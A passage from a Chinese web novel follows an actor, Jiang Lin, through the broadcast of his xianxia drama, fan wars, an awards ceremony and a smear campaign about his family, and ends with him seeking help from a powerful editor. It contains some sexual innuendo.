这的确是老爷子让他送给姜如云的礼物,双方家长似乎相谈甚欢,在两个当事人都不知道的情况下即将定亲。 江林勉为其难地收下,手腕上的表也没还给他。 隆丰公司工作人员来的时候,他家总经理正跪在书桌下面,江林把玩着那项链,从大到小排列蓝宝石,最大的那颗有小女生掌心大,价值不菲,蓝宝石周围还镶嵌着钻石,无烧的皇家蓝。 江林玩了会就把项链重新放回盒子中,垂眼看着白宝戎,他脸色有些狰狞难受,在书桌的遮蔽下其实瞧不清他的脸。 江林喉结滚动了一瞬,似乎听见外面来人了,脸颊有些泛红,抬手摸了摸白宝戎的眼尾,察觉到一丝湿润,他哑着嗓子说:“你公司的人来了。” 白宝戎哼了一声,没什么反应。 江林也不管了。 /// 最后江林也只在白宝戎家中待了一天,张琴给他打电话让他赶回北奥,配合剧组的宣传,《依尘传》很快就要播了。 “这次暑假档很多平台都有多部大热作品上线,同类型仙侠就有两部撞档的,还有《女人们2》也准备寒假档播出,现在其他剧组已经开始炒cp,拉热度,买营销”蒋红和他乘坐一班飞机回去的,在他耳边碎碎念,比江林还紧张,毕竟这可是明若卿的作品啊。 江林一飞冲天的宝贵机会。 “嗯嗯,我知道了。”江林戴上眼罩,盖上毛毯准备睡觉。 “你别这么松弛啊,啧哎,说实话,娱乐圈背靠大树好乘凉,你说白宝戎和明若卿到底谁才是你心中的大树?”蒋红探查他口风,眼里也有八卦之意。 “谁都不是我的大树,我自己要当大树。”江林打了个哈欠,仿佛玩笑一样的话,却让蒋红愣了几秒。 蒋红半晌嘀咕了一句:“大树哪有那么好当啊。” 但从这次之后,蒋红再也没说过让江林去找谁去求谁。 时隔多日几个主演再次见面,一起拍短视频,一起准备彩排综艺。 “洲哥,我们真的要发这个短视频吗?那个江遂不就是个蹭热度的吗?我们就是平白给他增加热度。” 江林路过周洲化妆间的时候,恰好小助理这句话,不由停下脚步,然后正大光明地偷听,他们自己化妆间的门没关严实,可不能怪他。 周洲,年纪29,演过大大小小的男主男配,去年凭借一个深情配角风靡一时。 “先保存着吧,看剧的播出情况。”周洲倒的声音是正宗的播音腔,字正腔圆的。 “最瞧不上他这种靠屁股上位的男演员了”小助理不满地说道,她名义上是周洲的小助理,实则是他的小情人,自然为自己情哥哥被压番而打抱不平咯。 江林重重咳嗽了两声,高声喊道:“小庄啊。” 小庄被江林吓死,连忙唉了两声,化妆间内也没有了议论声。 江林心满意足地离开,沉诗澜化妆间就在周洲旁边恰好将这些看进眼里,她笑着和江林打招呼:“咱俩是不是还没拍视频呢?” “澜姐你来啦?还以为你今天到不了呢。”江林笑眯眯地说道,两人是《依尘传》的男女主,自然是这次宣传的重中之重。 “忙完就过来了,晚上一起去吃夜宵?”沉诗澜算是圈内知名度较高的女艺人,粉丝黏性极强,但几乎每个和她搭戏的男艺人都被骂得很惨。 “可以啊。”江林自然不会拒绝。 然后当天晚上“沉诗澜夜会男友”的消息就被狗仔爆料,冲上了热搜。 这个狗仔就是沉诗澜团队安排的。 沉诗澜发微博——@江遂,邵依尘你还记得那年延安的雪吗? 这句话沉诗澜演的角色在死之前说的。 江林自然配合宣传,配上了剧中两人的剧照,@是诗诗呀,谢谢(诗)师姐款待。 在剧中,沉诗澜算是他的师姐。 沉诗澜自带热度的体质,且格局大,并不小气带新人,只是从前很多被他带火的男星都忘本,喜欢踩着她往上爬,最终又重新跌入泥潭,销声匿迹了。 【知道啦,知道啦,谁这么美啊,原来是十二月十八号橘桃双平台播出的《依尘传》的女主盛如月啊。】 【期待如月师姐!诗诗霸气回归仙侠。】 【别关注女明星的私事,请聚焦《依尘传》。】 江林和沉诗澜几人录制的是桃子台的综艺,这个时候《依尘传》还没播。 还有另外一个剧组和她们一起宣传,是在桃子播出的同期仙侠剧《永乐诀》,连名字都是三个字,桃子台故意炒热度。 在录制过程中两方可以说是火药味十足,江林没有故意亲密炒cp,只是在沉诗澜玩游戏的时候护着她的安全。 倒是对方的剧组又是对视心跳加速,又是公主抱,掀起了观众阵阵尖叫声。 江林录制前制片人琴姐交代他们,不需要炒得太狠,毕竟他们剧的主线不是谈恋爱,就算在剧里都没有一个吻的那种,剧外也没必要做出这种‘牺牲’ “不是,你要演同性恋?!”蒋红声音都尖锐起来,虽然现在江林就没少麦麸,但这和拍同志电影还是有本质区别的。 “红姐什么叫演,我就是啊。”江林最近拍完综艺后,又闲了下来。 今晚八点剧就要播了,蒋红正提心吊胆呢,结果江林直接扔出了重磅炸弹,炸得人头昏眼花。 现下阶段,国家没有明令禁止同性恋,但也没有给同性恋这个群体设置法律保护,就是心照不宣而已。 有一段时间,耽美剧风靡整个娱乐圈,男演员只要想红就有一条通天道,就是演耽美,卖腐。 但经过一段时间的沉淀,一般的耽美剧也和言情剧一样扑的扑,火的火,全看演技和剧情以及营销。 “现在耽美剧的行情很一般,也许会吃力不讨好,让更多的唯粉和女粉脱粉呢?为了迎合cp粉而造成这样的局面真的不值得。”蒋红全力劝说,如果现在还是那段耽美剧风靡的时间,她说什么都不会拦着,让江林去尝尝咸淡。 但现在显然弊大于利。 “我还没几个粉丝呢,你就关心起cp粉和唯粉来啦?”江林被逗笑了,正在看手中的剧本。 “到底是哪个该死的把这剧本送到你手上的!”蒋红见劝不动,直接破防了。 江林当作没听见她的叫嚷。 手中的剧本叫做《南辕北辙》。 他知道这个作品是因为他有原本的剧情,《南辕北辙》的导演和作者是同一个人,电影学院导演系毕业,一直都想把自己手中的作品拍出来。 但是一个女导演,女作者,没有背景,哪有出头日? 她在剧组勤勤恳恳地实习,一边赚钱一边学习。 她是一个有才华又有美貌的女孩儿,被大导演看上,想要强迫她。 但她不愿意屈服,假装伏小作低,却录音保留聊天证据等,直接在网络上曝光了这个大导演的潜规则行为。 现代社会正是女性觉醒的时期,被打压后触底反弹,对于意图侵犯和不尊重女性的行为格外不能容忍,顿时那位大导演的所有作品都被抵制。 而辛珂一战成名,她的作品《南辕北辙》也因此火了,被某个有钱的女老板看中,出钱投资让她拍摄了这个作品,随后辛珂也没有浪费她的才华,《南辕北辙》的电影再次爆火。 票房破了十亿,是首个男同电影破十亿的。 而现在辛珂的事迹在前些天被爆出来,风头已经过去,目前正是电脑筹备的初阶段,是江林主动联系她的。 /// 【来啦,来啦,诗诗!!】 【白粥来啦,周洲加油。】 【尤亿,尤亿,我们爱你!!】 【xx最帅!!!】 才开播没有几分钟,弹幕已经刷起来了,流量就是不同的,弹幕都像是在打架似的,在这群应援中出现了格格不入的弹幕。 【有谁跟我一样是来看看这个江遂是人是鬼的?】 【我准备好了,我准备好了,演得不好我直接开骂。】 【我能接受新人当男主,但不接受没有演技的新人当男主,谢谢。】 【谁这么勇敢,居然敢压这么多流量,哈哈哈哈。】 【乐子人+1】 很多人就是带着看乐子和审判江林演技目的来的。 江林同一时间和小庄蒋红打开了液晶大屏,播放了《依尘传》。 江林是懒得看的,但被这两人压着来的。 由远及近,从大到小,画面逐渐清晰,延安城偌大的繁华风貌出现,镜头最终停在兰芝堂,是延安的一家小药铺。 “邵依尘!你人呢?”店铺掌柜胖头胖脸的精明模样。 一声噼里啪啦木凳倒地的声音,邵依尘药柜前探出头来,手上拿着医书,原本昏昏欲睡,被掌柜叫醒,顿时站直精神抖擞地朝着他走来,脸上带着谄媚的笑。 他身上的衣服陈旧,腰上挂着酒破烂的葫芦,脖子上有根红绳系着,里面吊着半边玉佩 他被掌柜训斥得点头哈腰,睁着眼说瞎话:“掌柜的貌若潘安,学富五车,乃人中龙凤” 弹幕飘起——【小胖子哄成胚胎了哈哈哈。】 【我看进去了诶,这个胖子演员之前演过好多戏,江遂居然接住了他的戏诶。】 但随着掌柜转身,邵依尘便默默呸了一句,学着掌柜的表情,一阵蛐蛐。 【变如脸。】 【和我对老板一个样哈哈哈。】 “咳咳”女子轻柔的咳嗽声在楼梯间响起,画面一转,一个温婉美丽的姑娘出现。 是掌柜的闺女,也是邵依尘的未婚妻。 其实掌柜对邵依尘不错,他样貌好,未婚妻也喜欢他,只是掌柜怒其不争,希望他能争气,甚至有过送他做官的念头,奈何邵依尘不是一个读书的料。 面对掌柜的闺女,邵依尘瞬间面红耳赤,眉眼间变了一种神情,是那种毛头小子看见漂亮姑娘的羞涩 连播四集,节奏很快,第一集邵依尘被派出去进货,回来发现掌柜一家被灭门。第二集,邵依尘报案,情绪崩溃,又被女主盛如月找到告知他此乃妖魔作乱。第三集,邵依尘拜入师门,被发现身上的通灵之力。第四集,就开始装逼打脸了。 【就演技而言,江遂真的还可以啊,第二集哭的时候,真的像是死了爹娘。】 【是啊,只是好可惜,为什么又是这种未婚妻死亡的剧情,感觉好无辜啊】 【先别开喷,明导的剧一般有反转】 【不是,真没人觉得江遂帅吗?】 【帅爆了,我靠!!第一集就被硬控了好不好!!】 【看得我好爽啊。】 【就算穿得破破烂烂,但我也能一眼认出来,那是我失散多年的老公啊。】 反响出人意料,又情理之中地好。 毕竟明若卿的剧有保障,只要江林演技好,这波热度少不了他的一份。 当然黑子也少不了,各种无脑喷的话,江林当作没看见,他的微博没空的时候是蒋红和小庄在经营,此刻又是涌入大量粉丝。 蒋红在疯狂联系营销号进行宣传,还有各种剧评博主对江林的演技进行点评。 见她都是要求夸的,江林咬着烟,说:“红姐别光买好的营销稿啊,也要买一些批评的,吵起来才更有热度啊。” 蒋红动作一顿,她准备私底下再去考虑这个事儿的,就是怕江林听了心情不好,像这种主动提出来买黑营销的艺人也有江林干得出来。 江林困得不行,明早还要赶通告,“我先回去睡觉了。” 洗完脸刷完牙,翻开手机发现有个未接来电——明若卿。 他想也没想拨了回去,电话响了一声就被人接起来了。 “喂,明叔,我刚刚在洗澡,没看见电话。”江林躺上床,没想到明若卿会主动给他打电话,毕竟他不是一个死皮赖脸的人,相反很懂得克制。 “嗯,剧播得不错。”明若卿第一次这么关注自己的作品在观众心中的好坏,刚刚也一直在看播出。 江林低声说:“都是明叔厉害啊。” “你演得也很好。”明若卿说。 “我也觉得。” 两人不尴不尬地聊了两句,江林保持着礼貌和疏离,让明若卿心底又觉得不太舒服了。 他准备挂掉电话:“总之祝贺你早点休息吧。” 江林顿了几秒,嗓音沙哑带着钩子似:“有点想你明叔。” 明若卿心尖又是一颤。 “如果你现在我身边就好了。” 明若卿呼吸都轻了。 不等他回答,江林已经说完最后一句话,挂断了电话:“你也要每天早点休息,注意身体,晚安。” 江林没有任何犹豫地挂断了电话。 他刚放下手机,他的电话又响了。 江林一看备注——白宝戎。 他接通电话,那头酸里酸气的声音就蹦出来了:“呦,和谁打电话打这么久呢?” 白宝戎也是看见了热搜才知道江林的作品播了。 “最近又住海边去了?”江林反问,暧昧不清的态度,不给他正面的回答。 “咱俩快一个多月没见了,你就没什么话想对我说吗?”白宝戎压低声音问道,似乎也觉得这话有些羞耻。 “说什么,我要睡觉了。”江林声音懒散卷着困意。 “下次我来北奥市,你跟我再游一次,还是之前赌注” “游个屁,你给我滚远点,玩赖的狗东西。”江林骂骂咧咧把电话挂了,白宝戎再打来电话,他直接把人拉黑了。 白宝戎被拉黑就老实了。 第86章 #江遂邵依尘演技#上了热搜, 底下不是买的水军,各种路人的声音都有。 有路转粉真心实意入坑的,也有各路黑子骂人的, 还有各种同类型男星工作室防爆买黑料的。 而在《依尘传》首播之后,综艺《推3》也热火朝天地抬了上来, 橘子台的趁着这波流量,又买了江林的热搜,#江遂综艺感#、#《推3》超绝反转#、#遂遇而安# 对于一个娱乐圈新人来说, 已经是初见火爆的状态,但这热搜上多了, 也有网友有了逆反心理。 【这人是谁啊?买这么多热搜?】 【这铺天盖地的营销也是没谁了。】 《推3》原本就是固定的粉丝群众,且他们很讨厌平台奶新人的行为,一开始对江林三个新人是十分排斥,在微博上带头抵制的。 但江林和宁星安的cp粉群众也不算小,在两人团综故意卖的情况下逐渐壮大,现在随着《依尘传》的热播, 江林眼见着热度和演技都有了卓越的成长, 那些cp粉更是疯狂。 【这就是顶峰相见!顶流爱豆和天才演员!】 【没人告诉我磕的cp这么牛啊。】 【宝宝们快去看《推3》, 猫猫豹豹是真的,我哭死。】 【江宝最后把金币都给了宁宝这不是爱情是什么?!】 橘子台的综艺《推3》一经播出, 弹幕乱成一锅粥, 江林在这次综艺的表现可圈可点,合作诚实有信,但被背叛的时候又聪明机敏没有被坑到, 最后还完美地炒了一波兄弟情。 【该说不好说,江遂真的适合这个综艺啊,好聪明哇。】 【我服了, 狄明轩也是老人这么坑人?好恶心啊。】 【前面说恶心的,脑力博弈里面不可以骗人吗?这也算一种手段吧。】 【恶心人,别人不用手段,就他聪明呗?】 【别啊,卖腐死啊,这又不是什么恋爱综艺,江遂和宁星安才是真的恶心好吧。】 同一时间,遂遇而安超话的活跃度直冲微博前三。 江林的电话被蒋红打爆了,都是闻到腥味就找上门来的通告。 “杨导都来问我要不要你考不考虑参演他的电影,你确定要吊死在那棵男同树上?”蒋红真的不看好他接的那部电影,还在试图阻止。 “那位杨导上次电影出圈还是十年前,算了,这火坑我才不去踩”江林正在准备橘子台的综艺,这次随着《依尘传》的数据一路高走,综艺只邀请了他们剧组的人。 “啧,行吧,那代言方面?”蒋红知道江林是个主意大的。 “让商务团队看着办呗,记得调查一下背景,别被扒出来问题,我还得滑跪道歉。”江林说。 挂了电话,小庄正在焦头烂额地刷手机,汗都滴下来了,欲言又止地看着江林。 “怎么了?”江林好笑的看着他。 “您微博底下都打起来啦!”小庄把手机递给江林。 江林的微博评论下粉丝打了起来,他和宁星安的cp粉基数大,唯粉和颜粉也不少,而江林和沉诗澜的剧粉也是不甘示弱,几方正在对骂。 【都是演戏好不好?不会真的以为江宝和你们家哥哥姐姐在一起了吧?】 【之前江宝困难的时候你们这些唯粉在哪里,都靠我们cp粉才有热度的好吗?】 【现在江宝好起来就想一脚踹开cp粉?别太忘本了小妹妹。】 【《依尘传》是江宝第一个出圈的电视剧,现在不是应该做数据,吵什么啊。】 【江遂他超爱沉姐的好不好?在微博下互动点赞,你见他点赞过哪个女明星的微博?】 【滚滚,别来沾边】 江林看乐了,丝毫不着急,顺便买了营销号,标题就是——#狗在江遂评论区都得挨两巴掌#。 “哥,你咋还这么开心呢?”小庄都着急死了,生怕粉丝这么做赶客。 江林找到早些时候原主做的采访视频。 视频里面的娱乐记者问还未成年、青涩年轻的原主:“你会介意粉丝磕cp吗?你会更喜欢唯粉吗?” “不介意啊,只要大家开心,随便磕的。至于更喜欢唯粉还是cp粉,只要是爱我的宝宝们,我都喜欢。” 这个视频发在江林工作室的账号上,表明了江林对粉丝的态度,按照之前的惯例,一般剧结束,很多明星都会提纯唯粉,因为唯粉的黏性和消费能力都比CP粉更强,但江林不准备这么做。 /// 叶成哲在整个娱乐圈,那是眼观六路,耳听八方的主,江林这点动静,他心里明镜似的看着。起初心中对江林是不满的,觉得这人实在蠢笨,不识好歹,但又没狠下心去封杀他。 他看人准,如果他真的走出那一步,全面封杀江林,以江林的性格绝对不会向他妥协,反而越挫越勇,他会将人越推越远。 这显然不是一个明智之举。 但让他低声下气去求人,叶成哲也是拉不下老脸来,所以就这样耗着,一直都在等机会。 叶成哲知道今天江林要来台里录综艺,早早就在《快乐星期五》的综艺录制现场等着了,工作人员也不觉得奇怪,从前叶主编就会主动抽查监工台里的每一个综艺。 江林来得比较早,就看见孙维正在和叶成哲聊天,他是这个节目的主持人之一,旁边还有他的主持人搭档。 “唉?江遂。”孙维瞧见他,知道他和叶成哲关系不一般,便主动开口让他过来。 江林穿着米咖色的大衣,妆发都弄好了,今天的搭配让他整个人看起来有些温柔,眉眼间也没有什么攻击性,笑着打招呼:“叶主编,孙老师” 叶成哲没打领带,衬衣放荡不羁地开着扣子,西装松松垮垮没个正型,唇角泛起淡淡的笑:“好久不见,江遂。” 江林只是笑着点头,显得极为生疏,黑眸冷暗疏离,仿佛两个并不相熟的陌生人。 孙维脑海中穿过弯弯绕绕,瞬间明白了什么,江林从常驻变成飞行,很明显是和叶成哲交易没谈拢,但叶成哲又特意来看他 “是啊,上次见小江还是在录制《推3》,这么久不见,小江已经今时不同往日了,昨天我表妹还在问我要你的签名照呢,被你的剧迷得不行”孙维斟酌了一瞬,笑容浅浅地说道。 “等会就给您送过去。”江林客气地说道。 之后陆陆续续来人,有些人并没有见过叶成哲,叶成哲也表示低调,孙维便去和其他人打招呼了。 江林听见耳边传来叶成哲不冷不淡的声音:“恭喜你啊,江遂,从此一飞冲天了呀。” 江林偏头瞧过去,叶成哲那张脸并无多少真心诚意地祝福,相反带着点点讽刺,他仿佛两人之间毫无龃龉,“都是叶主编看得起,让我参加了《推3》我才能有今天的热度,以后还需要叶主编多多支持不计前嫌。” 叶成哲看清江林浅笑表情下的冷漠,他知道江林和明若卿之前的‘露水姻缘’,也知道白宝戎对江林的‘知遇之恩’。 所以他就越发不能理解江林对他的拒绝,感受到了一股深深的轻视和歧视。 “叶主编对我之前的提议考虑得怎么样了?”江林薄唇轻轻弯了一瞬,似乎志在必得。 “什么提议?我不记得了。”叶成哲和他眼神交锋,眼底沁着点阴狠之色。 江林便闭口不谈,很快艺人们都到齐了,正式开始录制综艺,地下坐着观众,叶成哲和导演们坐在一起,静静看着台上的江林。 叶成哲眯着眼,看着聚光灯下的江林嘴角噙着温和的笑,但在游戏环节凶相毕露,露出极具野性的一幕。 江林说:“我只想要第一。” 叶成哲可以想象,在这次节目播出之后,江林又会涨不少粉丝,网友们不喜欢那些作戏的综艺游戏,就喜欢江林这种内娱活人的感觉,不喜欢那些玩不起的人。 杂志被扔掉了有什么用,那张照片早就刻在他脑子里,当时江林抽烟冷淡的眼神也让他心尖发痒,时常想起江林居高临下说的那句话,在清晨午夜成为他高/潮的催化剂。 江林也没忘记自己上综艺的目的是剧宣,他主动和沉诗澜牵手,两人一起夹着气球做游戏,相互用力将气球挤爆,几乎拥抱在一起。 叶成哲便一直盯着江林,不知道在想什么,脸上没有一丝温度和表情。 江林手扶着沉诗澜,笑着说道:“剧里咱俩都没有这么大的尺度” 节目一直录制到十点多才结束,叶成哲也一直盯了这么久,而结束之后,江林头也不回地离开,并没有要和叶成哲叙旧的意思,绝情得不行。 叶成哲都怀疑自己判断错了。 江林到底是欲情故纵,还是真的不在乎呢。 /// “你说江遂下一部剧是男同剧?”叶成哲闻言眉梢轻轻一挑,电话里的女声给出了肯定的答案。 “剧本发给我瞧瞧。”叶成哲说。 “以耽美小说《南辕北辙》为原型,导演和编剧都是一个人” 叶成哲连夜看完了剧本,第二天便准备成为这部电影的第二个投资人。 /// 后续,《依尘传》几乎是三四集就是一个单元故事,半点不拖沓,适当留出悬念让观众欲罢不能,拍摄画面唯美又真实,叙事清楚易懂,人设刻画有深度又不单调。 《依尘传》的数据吊打同期播放的电视剧,江林也一跃成为最近最有热度的艺人,所有人都不觉得意外,这毕竟是明若卿的剧。 江林是妥妥地升咖了,知名度和资源都跨越了一个台阶,男演员火起来可太容易,靠着一部剧就能出圈,但能不能接住这波流量就得看江林的本事了。 江林受邀参加红毯,这次配置可完全不同了,不需要再露胸肌博眼球,也不需要蹭流量遭白眼,只需要打扮帅气地亮相。 他穿着蒋红借来的高定礼服,整体白色系,里面设计感十足的背心,v字领,领口是折叠垂感设计,外面白色的外袍和脚踝齐平。 江林在红毯中间的位置,没什么表情,自带冷感,立体的五官矜贵冷淡,身高比例极好,闪光灯闪个不停,他微微点了点头。 红毯是直播,弹幕已经被江林的粉丝霸屏了,电视剧才过半,江林微博粉丝每天十几万地涨,还在呈现上升趋势增长,新粉旧粉虽然互相掐架,但有人说江林不好,那也是一致对外的。 江林进入内场在工作人员的指示下找到自己的位置坐下,四周都是摄像头,他坐直了身体,保持着端正的姿态,视线扫过一周,看见坐在第一排最中间位置的艾璟。 他坐在后面两排,旁边的人他都不认识,也没有攀谈的心思,只是百无聊赖地看主持人颁奖。 几乎每个人都有奖项,江林获得了最佳新人奖。 他和另外两个最佳新人一起上台领奖,艾璟原本想走,看见上台的人颇为熟悉,便止住了脚步,背重新靠在椅子上,视线放在江林身上。 江林落落大方,v露出他锁骨和一点点曲线,冷白的肌肤在光下晃眼,站在那处,像是冰雕塑般。 艾璟有些惊讶于江林的两副面孔,在娱乐会所能跳艳舞将人跳得流鼻血、吞口水,现在表现出的冷淡,又让人生出一种望而却步的想法。 所以这就是演员吗? 江林领完奖随便说了两句没有意义的获奖感言便下了台,彼时旁边的位置都空了,他一直待到颁奖仪式结束才离开。 小庄正在后台等他,他裹着外套,走到电梯口,恰好看见艾璟和另外几位男士在电梯内聊天,江林脚步微顿,还是走了进去。 “艾总这么年轻有为,希望以后有机会合作啊,您公司的新品上市是在明年吧?” 在娱乐圈捧高踩低是常态,就比如说现在这电梯里艾璟年纪不大,却是这些四五十岁老板们捧着的对象。 “嗯。”艾璟淡淡地应了一声,他垂着眼,视线滑过江林裸露的脚踝,很白。 “我们公司的小金,很合适您品牌的” 江林听着他们推销自己公司的艺人和产业,望着清晰见人的电梯墙面,察觉到艾璟的视线似乎落在他身上,他稍稍动了动,便发现艾璟的眼珠也有轻微的变化。 电梯停下,工作人员在门口接待领着江林后面几人离开,江林落后一步,盯着艾璟的背影,喊了一声:“艾璟。” 艾璟脚步停住,同时他前面的人也转头看向江林,似乎想要探究两人的关系。 艾璟偏头看着他:“你找我?” 江林唇小弧度勾起微笑,点了点头:“嗯,是这样,能不能麻烦您带我一程?我司机家里出了点事儿,先赶回去了。” 小庄老实地待在江林身后半句话也不敢说。 艾璟只是静静看着他,金发犹为耀眼,神情平静无波,眼神是那种无欲无求的冷淡。 “如果不方便就算了。”江林无所谓地笑了笑。 “走吧。”艾璟却没有冷漠拒绝。 江林朝小庄使了个眼色,自己跟着艾璟离开。 黑色的迈巴赫,江林惊讶于里面居然没有司机,艾璟已经自顾自地坐在驾驶位,江林拉开副驾驶的门,弯腰坐进去。 “您没司机吗?”江林扣好安全带,安全带紧贴着江林的裸露在外的肌肤,黑白分明。 “我更喜欢自己开车。”艾璟驱动车,他看着江林戴上了口罩,只剩下一双忽闪深邃的大眼。 “地址在哪?” “时环路亚砜公寓。”江林报出自己的地址。 艾璟输入导航,将车内调至适宜的温度。 江林身上裹着羽绒服,眯了眯有些疲惫的眼睛,声音低沉:“我会不会太冒昧了?” 主要是江林也没想到艾璟居然真的会答应他的请求。 艾璟没说话,唇微微紧抿,似乎不屑于回答这些无聊又明知答案的问题。 “好吧,我能抽根烟吗?”江林手都摸到口袋里的烟盒了。 “我不抽烟。”艾璟目视前方。 “噢,其实我也不喜欢抽你信吗?”江林便收回手,无比自然地说道。 艾璟可有可无地弯了弯唇,只是一瞬又收敛了笑容:“你找我什么事?” 江林在心中斟酌利弊了几秒,还是决定直白出击:“我想追你。” 艾璟面不改色似乎遇到了很多这种场景,“噢,我不太喜欢男人。” “不太喜欢?就是一点点喜欢咯。”江林似笑非笑的看着他。 艾璟不争辩,只是道:“你从我这里得不到任何的东西,所以不必浪费时间。” 江林望着他油盐不进的样子,只觉得有些棘手,心里快速盘算着其他主意,他笑着问:“如果我想成为DL品牌的代言人有机会吗?” 艾璟实事求是地说道:“没机会,而且这些你要和我们公司的营销部门去谈。” DL品牌的代言人都是国际巨星,国内代言过DL的艺人仅有三人,都是一些在国际上都有影响力的艺人。 门槛非常高,奢侈品牌的领头羊。 江林虽然崭露头角,但他的商业价值却并没有体现出来,在资本圈里他还上不了桌。 “艾总这么说,好伤人啊。”江林幽幽叹息,没有多生气和遗憾。 艾璟没有安慰他的好心,他能答应送江林回家,都算是猪油蒙了心。 车在公寓楼下停住,江林解开安全带,弯了弯眼睛:“要不要上去坐一坐?” 艾璟拒绝:“不了。” 江林下车后,脸上笑意消失,转身回了自己的公寓,头也不回 《依尘传》还没播完,江林的势头正高,热搜却突然冒出无数关于江林的黑热搜词条。 #江林吸/毒# #江林母亲# #江林父亲在监狱# 蒋红一觉醒来天塌了,电话被合作方打爆了要求解约,赔偿违约金。 江林的家庭信息被扒出来了,爆料的营销号有理有据,翻出江林父亲江友善当年多人吸/毒淫/秽的报道,其中的江某善就是江林的父亲。 而江林的母亲热搜下面是一则视频。 江林的母亲风韵犹存,嘴里叼着大烟,正在赌场赌博,得意的嘴脸让人面目可憎:“你知道我儿子是谁吗?” “我儿子是大明星!你还怕我还不起钱?开什么玩笑?” 有人问她,“你儿子谁啊?” “江遂认识啵?”江母李智晴吐出一口烟,那双和江林双眼八分像的眼睛已经不需要别的证明。 爆瓜的营销号在后面写着,这样五毒俱全的家庭里长大,我合理怀疑江遂是不是也会吸/毒赌博?这样的人也能成为偶像艺人,我们国家每年死亡的缉毒警察如何安息?我们坚决抵制劣质艺人!!江遂退圈!! 蒋红播出电话的手都是在抖的,对方这一招太阴损,也太黑了,但凡上升这种国家立场的原因,艺人都难逃封杀。 网上舆论发酵得很快,很多让江遂退圈的热搜便冲上了热搜。 【这样的劣质艺人还是滚出娱乐圈吧。】 【大家吃点好的吧。】 【自古以来父子就没有分家的,江林也是从小被他父亲养育长大的吧,受他恩惠,就要一起承担后果。】 【封杀了吧,谁知道他有没有吸/毒。】 【刚刚警察好像把江林带走了】 【就说他也是小毒鬼吧!】 【没出来结果,还是不要直接下定论吧】 【呦,劣质艺人的腿毛出来了。】 紧接着,江林的微博账号直接被禁言,就算想澄清都做不到。 蒋红脸色惨白,江林电话接起的瞬间,她几乎尖叫出声:“网上这些到底是什么?!” 当初她签江林的时候,只是看他长得好,有野心又听话还穷,当时问江林的时候,他只说父母都死了,没想到捅出了这么大的娄子。 彼时,江林刚从警局出来,他半夜就被警察带走了,就是想让他无法作出及时的反应,等他从警局出来,网上舆论已经成为定局。 “我的家庭就是你看的那样。”江林表情镇定,有些疲惫地揉了揉眉心。 他能猜到这是谁的手笔,邱宇成最近好像换了金主,权大势大影响力也大。 他倒是能沉得住气,现在才出手,现在墙倒众人推,谁帮江林说话,谁就罪不可恕。 这样的局面几乎无法翻身。 “现在全完蛋了”蒋红两眼一黑,刚刚张琴给他打电话,《依尘传》面临着下架的风险,全靠明若卿的面子撑着,而他的所有综艺都被推后或者取消。 “没那么快完蛋。”江林对这事儿早有准备,现在最严峻的是他没有办法在公共平台发声,只能任由别人泼脏水。 蒋红声音有些抖:“你有什么办法?” “没事,你把心放回肚子里。”江林挂了电话,手机的未接电话纷纷蹦出来。 其中白宝戎和明若卿的电话比较多。 他给明若卿回了电话。 “在哪?”明若卿晚上得到消息,便开始找人,却发现江林已经进去了。 “我没事儿,明叔。”江林声音似乎有些疲惫。 “你”明若卿坐在沙发上抽烟,眉梢拧得很紧,眼神有些锋利:“有什么打算?” “没什么打算,澄清一下就好了。”江林说得简单,但做起来难如登天。 明若卿见他不准备向自己求助,眉梢蹙得更紧了:“你需要我做什么?” 江林只是低笑一声:“您好好在家休息就好啦,我不会让您的作品打水漂的。” 明若卿发现江林似乎并未将自己看作自己人,一直将他排除在外。 江林挂了明若卿的电话,白宝戎的电话无缝衔接地打了进来。 “喂?江遂,你完咯。”白宝戎语气不似明若卿这么沉重,还有些幸灾乐祸的语气。 “你嘴好贱啊,欠/操是不是?”江林无语地骂了一句。 “嗯咯,来操。”白宝戎嬉笑一声,心情不错,他说:“不当明星也好,当明星有什么好的,每天累得要死也挣不到几个钱,这样你来找我,宝哥养着你,把你养得白白胖胖的。” “你想得美啊,滚滚滚。”江林被气笑了。 “啧,等下,别挂。”白宝戎收敛了点笑意,“你这爆料是不是真的?如果是真的很难洗啊。” 江林说:“是真的。” “哦豁,我等你来给我当情人,我养你啊” 江林把电话给挂了。 白宝戎给他卡里转了一百万。 【我怕你违约金赔了吃不起饭啊,别把这钱赔出去了啊。】 江林收下了,没退回去。 他有自己的考量,明若卿从入圈开始就是我行我素的清高导演,不屑和娱乐圈这些人虚与委蛇,关系不算深,而白宝戎家的事业重心不在娱乐圈,面子也没那么大。 这两人就算能帮他解决问题,他也会欠下大的人情,于感情上总会受制于他们。 嗐,其实江林也不会受制,他就是没有良心、不知感恩的小白眼狼。 但这件事却可以让另外一个人做。 江林翻出一个许久没联系的电话。 叶成哲接到江林的电话半点也不意外,他占现在据上风,所以一点也不着急。 “喂?” “是我。”江林声音低了低,越发沙哑,仿佛受尽了苦楚和煎熬。 “嗯,我知道是你,做什么?”他拿着姿态,语气有些得意。 江林却不在意,语气淡淡,只是问:“现在要我去你那儿吗?” 叶成哲似乎有些犹豫:“现在吗?我在公司。” 江林便不开口了,也不准求人,只是这样挨着,叶成哲也不挂断,两人像是无声对峙着。 “你先去回我家,我上次带你去过的。”叶成哲率先开口,语气没了之前的悠哉,他有些烦都到了这种时候,自己居然还在担心江林会拒绝他。 “好。”江林说完便挂了电话,让小庄开去叶成哲的住处。 没错,江林找的人就是叶成哲,叶成哲在圈内的地位很高,关系网也极广,可以说只手遮天,不管是哪个平台都要给他些薄面。 江林想要发声,想要渡过这次难关,就需要借他的势。 这次开车的是小庄,他有些担忧的问江林:“哥,这次真的能平安无事吗?” “怎么,担心自己没饭吃?”江林看着后视镜中小庄的脸,脸上没有多少紧张之色。 “也不想让江哥的努力付诸东流。”小庄是看着江林自律减肥、勤勤恳恳地拍戏,全年无休,努力没有半点掺假,只希望他能成功。 “没事的。”江林明明是当事人,但情绪很稳定,一直在安慰别人。 /// 叶成哲今天下了早班,坐车回到自己的豪宅,他让管家去接的江林。 江林坐在沙发上抽烟,重新回到这个房间,桌上没有摆放杂志,他的心情似乎有些沉重,整个人都有些沉默寡言,眉眼间拢着忧愁般。 叶成哲回来的时候,瞧见的就是黑沉着脸的江林,他面容干净,依旧那般俊朗。他听见有人进门的动静,掀起眼皮看过去,叶成哲舔了舔唇,脸上扬起笑容。 “江大明星找我什么事儿?”叶成哲走近他,在一米左右的距离停住,明知故问。 江林黑眸幽深静静看着他,一言不发,仿佛沉默的捕猎者,眼神却静得令人害怕。 